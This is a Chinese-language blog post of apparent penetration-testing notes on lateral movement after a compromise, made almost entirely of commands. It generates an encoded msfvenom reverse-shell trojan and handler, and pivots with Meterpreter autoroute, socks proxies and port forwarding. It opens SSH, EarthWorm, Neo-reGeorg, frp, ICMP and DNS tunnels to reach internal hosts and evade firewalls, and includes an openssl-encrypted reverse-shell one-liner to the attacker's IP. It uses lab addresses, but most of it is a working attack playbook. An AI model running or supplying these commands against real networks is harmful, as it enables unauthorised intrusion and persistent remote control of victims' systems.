3.代理和隧道技术

pivoting跳板攻击和自动路由

黑客(192.168.223.131) ——(192.168.223.180)server1(172.16.214.129)——(172.16.214.128)Server2

pivoting跳板攻击

把入侵主机当作路由器,利用被入侵主机作为跳板,攻击内网其他主机

生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.223.131 lport=4444 -a x86 --platform windows -b "\x00\xff" -e x86/shikata_ga_nai -f exe > msf.exe

开启HTTP服务

python -m SimpleHTTPServer 1234

开启控制端

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.223.131
exploit

此时目标连接内外网的服务器访问网站下载并运行后上线,退出返回到msf

run get_local_subnets    //搜集子网信息
run autoroute -s 172.16.214.0/24   //运行自动路由并添加静态路由0/24网段
run autoroute -p    //查看是否添加成功
run post/windows/gather/arp_scanner RHOST=172.16.214.0/24    //扫描0/24网段

//将任务放入后台,使用sock代理,本地10044端口设置代理可以嫁接到自动路由上
use auxiliary/server/socks_proxy
set srchost 127.0.0.1
set srvport 10044
version 4a

//添加规则,使用proxychains时流量都往这走
nano /etc/proxychains4.conf
//在ProxyList中添加规则
socks4 127.0.0.1 10044

//验证是否成功,启动后访问内网网站
proxychains firefox

//利用代理使用nmap
proxychains nmap -sT -Pn 172.16.214.128

端口转发和映射

黑客(192.168.223.131) ——(192.168.223.180)server1(172.16.214.129)——(172.16.214.128)Server2

端口映射

//进入目标跳板机的session
portfwd flush    //清空记录
//将172.16.214.128的80端口的流量转发到黑客的2020端口上
portfwd add -L 192.168.223.131 -l 2020 -p 80 -r 172.16.214.128
//访问自己的2020端口相当于访问对方的80端口
192.168.223.131:2020

端口转发

portfwd flush    //添加规则前先清空记录
//将目标的3389端口连接到黑客的5555端口上
portfwd add -l 5555 -p 3389 -r 172.16.214.128
//黑客通过访问自己的5555端口相当于对目标的3389进行连接
rdesktop 127.0.0.1:5555

此时kali如果部署在公网,本机通过连接kali的5555端口,通过跳板机相当于连接到内网目标机的3389端口,以此达到外网访问内网数据的目的

SSH隧道

黑客(192.168.223.131) ——(192.168.1.185)server1(172.16.214.142)——(172.16.214.134)Server2,假设中间人已经被攻陷,内网服务器有http服务

SSH正向隧道

ssh -CNfL 0.0.0.0:7777:172.16.214.134:80 root@127.0.0.1

把自己(中间人)的7777端口和内网的80端口使用ssh进行映射,此时黑客访问中间人的7777端口就可以访问到内网服务器的网站

SSH反向隧道

法一:

中间人

//把自己的22号端口映射到黑客的2222端口
ssh -qTfnN -R 2222:127.0.0.1:22 root@192.168.223.131

黑客kali端

ssh -p 2222 root@127.0.0.1 

此时黑客连接到自己的2222端口就可以连接中间人的22号端口

通过2222访问中间人的22号端口,获得中间人权限以它的名义访问内网服务器

curl http://172.16.214.134

法二:

//将内网的80端口映射到黑客的2223端口
ssh -qTfnN -R 2223:172.16.214.134:80 root@192.168.223.131

反向连接输入的是黑客的密码,最好给一个权限很小的用户,否则实战中会反向溯源到黑客并被控制自己的服务器

此时黑客访问自己的2223相当于访问内网服务器的80端口

127.0.0.1:2223

本地socks5代理

在攻击机直接对中间人发起ssh请求,利用它作为代理浏览到内网

//用kali的7070端口连接中间人服务器,黑客访问7070端口相当于socks5代理
ssh -qTfnN -D 7070 root@192.168.1.185

第一次使用会输入服务器的密码,目标服务器开了一个socks5代理映射到本机的7070端口

火狐设置代理

//SOCKS v5
127.0.0.1:7070

此时可以访问内网服务器

SSH本地转发访问

内网HTTP服务

//在kali上设置,以中间人身份将内网服务器的80端口转发到kali本地的6667端口
ssh -L 0.0.0.0:6667:172.16.214.134:80 root@192.168.1.185 -fN

之后输入中间人密码,但是实战中未必是root权限

MySQL服务对外开放

//在kali上设置,以中间人身份将内网服务器的3306端口转发到kali本地的3307端口
ssh -L 0.0.0.0:3307:172.16.214.134:3306 root@192.168.1.185 -fN

连接mysql

mysql -h127.0.0.1 -p3307 -u[用户名] -p[密码]

如果断开连接就是 ps aux | grep ssh 找到进程然后kill掉,就没有转发了

SSH远程转发访问

属于反向连接,有利于绕过防火墙,此时默认拿下Server1和Server2,但是Server2里面有更深的网络,中间又有防火墙

Server1

//修改SSH配置
nano /etc/ssh/sshd_config
添加 GatewayPorts yes,使得远程转发之后,将127.0.0.1改成0.0.0.0,此时指定端口就可以访问目标主机
systemctl restart ssh

Server2

//对中间人的8877端口用server2的内网IP和端口@中间人的外网IP
ssh -R 8877:172.16.214.134:80 root@192.168.1.185

kali

curl 192.168.1.185:8877

此时如果把Server2的22号端口放在server1的外网端口上,也可以以此对Server2进行二次控制

openssl反弹加密

黑客(192.168.223.131) ——(192.168.1.185)server1(172.16.214.142)——(172.16.214.134)Server2,假设中间人已经被攻陷,内网服务器有http服务

适用情况:没有nc且其他软件不加密情况

黑客kali

ssl生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

目标机

mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [黑客IP]:8080 > /tmp/s;rm /tmp/s

使用netsh进行msf的代理

黑客(192.168.223.131) ——(192.168.223.180)server1(172.16.214.129)——172.16.214.128)Server2

适用情况Server2在内网无法连接外网,因为两者无路由,在中间人做netsh进行转发,让Server2的木马找Server1的端口,再通过Server1找到黑客

操作

生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.129 lport=4455 -f exe > muma.exe

进行监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.223.131
set lport 4455
exploit 

将生成的木马程序发送到Server2并执行,同时在Server1上设置转发

netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.223.131 connectport=4455

neo-regeorg代理

黑客(192.168.223.131) —(192.168.223.180)server1(172.16.214.129)—(172.16.214.128)Server2

下载neo-regreg

https://github.com/L-codes/Neo-reGeorg

//解压
unzip Neo-reGeorg-master.zip
cd Neo-reGeorg-master
//设置密码
python neoreg.py generate -k mima123
//根据服务器网站类型使用不同的脚本

法一:网页方法

通过文件上传等方法将文件放在目标服务器上

python neoreg.py -k mima123 -u http://192.168.223.180/tunnel.php

此时获得socks5的代理端口和IP,通过设置代理连接至Server2

法二:kali的proxychains4

nano /etc/proxychains4.conf 
//在[ProxyList]添加
socks5 127.0.0.1 1080

//使用代理进行nmap扫描
proxychains nmap -sT -Pn 172.16.214.128 -p 80

earthworm代理

https://github.com/rootkiter/EarthWorm

正向代理

server1,根据不同目标使用不同代理,上传至目标服务器后运行

ew_for_Win.exe -s ssocksd -l 8888

黑客

nano /etc/proxychains
socks5 192.168.223.180 8888   //中间人外网IP

//用代理直接访问火狐
proxychains firefox
//代理进行nmap扫描
proxychains nmap -sT -Pn 172.168.214.141 -p 80

反向代理

假如Server2有更深的内网

Server1

//如果Server2对Server1的1024端口产生通信,将内容转发到1080端口
ew -s rcsocks -l 1080 -e 1024

Server2

//把Server2的流量通过Server1的1024端口进行代理
ew -s rssocks -d 172.16.214.129 -e 1024

黑客

nano /etc/proxychains4.conf
socks5 192.168.223.180 1080

proxychains nmap -sT 172.16.214.128 -p 80

icmp隧道

黑客(192.168.223.131) —(192.168.1.185)server1(172.16.214.142)—(172.16.214.128)Server2

适用情况:黑客可以ping通目标,但是无法建立tcp连接;黑客可以和server1,server1可以和server2

Server1(必须是Linux)

apt install ptunnel
//设置ptunnel密码
ptunnel -x 1234

黑客

//通过中间人IP访问目标80端口,并输入到本地的8080端口,密码是1234
ptunnel -p 192.168.1.185 -lp 8080 -da 172.16.214.128 -dp 80 -x 1234

之后访问本地的8080端口即可访问,流量都是icmp流量

dns隧道

原理和适用情况:大部分防火墙以及IPS,IDS不会过滤dns流量;黑客可以访问中间人,中间人只能和目标dns通信dns2tcpd

dns2tcpd参数

-F 强制在后台运行,默认在后台
-i 监听IP,默认0.0.0.0
-f 配置文件
-d debug级别

dns2tcpc参数

-c 启用压缩
-z 指定使用域名
-d 调试级别(1,2,3)
-r 访问目标资源
-f 配置文件路径
-l 本地监听端口
-T DNS请求类型,默认TXT

Server1

apt install dns2tcp

nano /etc/dns2tcpd.conf
listen = 0.0.0.0
user = root   //修改用户名为root
key = haha123   //添加密码
domain = dns.xxx.com   //网站域名

//启动tcp隧道
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
//如果出现问题停止掉重新来
systemctl stop systemd-resolved

黑客

打开公网vps的udp53号端口打开,出入都打开;将域名的A记录指向Server1的IP

apt install dns2tcp

//访问本地8888端口相当于中间人22号端口
dns2tcpc -r ssh -k haha123 -z dns.xxx.com 192.168.1.185 -l 8888 -c -d 3
//ssh连接并输入密码
ssh -p 8888 127.0.0.1

frp内网穿透

黑客(192.168.223.131) —(192.168.1.185)server1(172.16.214.142)—(172.16.214.128)Server2

server1 = frp server

server2 = frp client

根据不同的版本,分别下载frp放到对应服务器

Server1(Linux)

nano frps.ini      //服务端frps.ini配置
bind_port = 7000   //7000端口提供frp服务
token = haha123   //设置密码

//启动frp服务端
chmod +x frps.ini
./frps -c frps.ini

Server2(Windows)

//客户端frpc.ini配置    
[common]
server_addr = 172.16.214.142   //中间人IP
server_port = 7000

[web]    //修改服务类型为web类型
type = tcp 
local_ip = 127.0.0.1
local_port = 80
remote_port = 6080   //将80端口流量转发到Server1的6080端口

//启动frp的客户端
frpc.exe -c frpc.ini

此时黑客直接访问Server1的6080端口即可访问Server2的80端口

frp其他作用:两个内网的桥梁、转发3389

[web]    //修改服务类型为3389连接
type = tcp 
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3388

//修改后重启,此时连接Server1的3388端口即可远程连接Server2 
posted @ 2022-04-24 22:44  icui4cu  阅读(261)  评论(0编辑  收藏  举报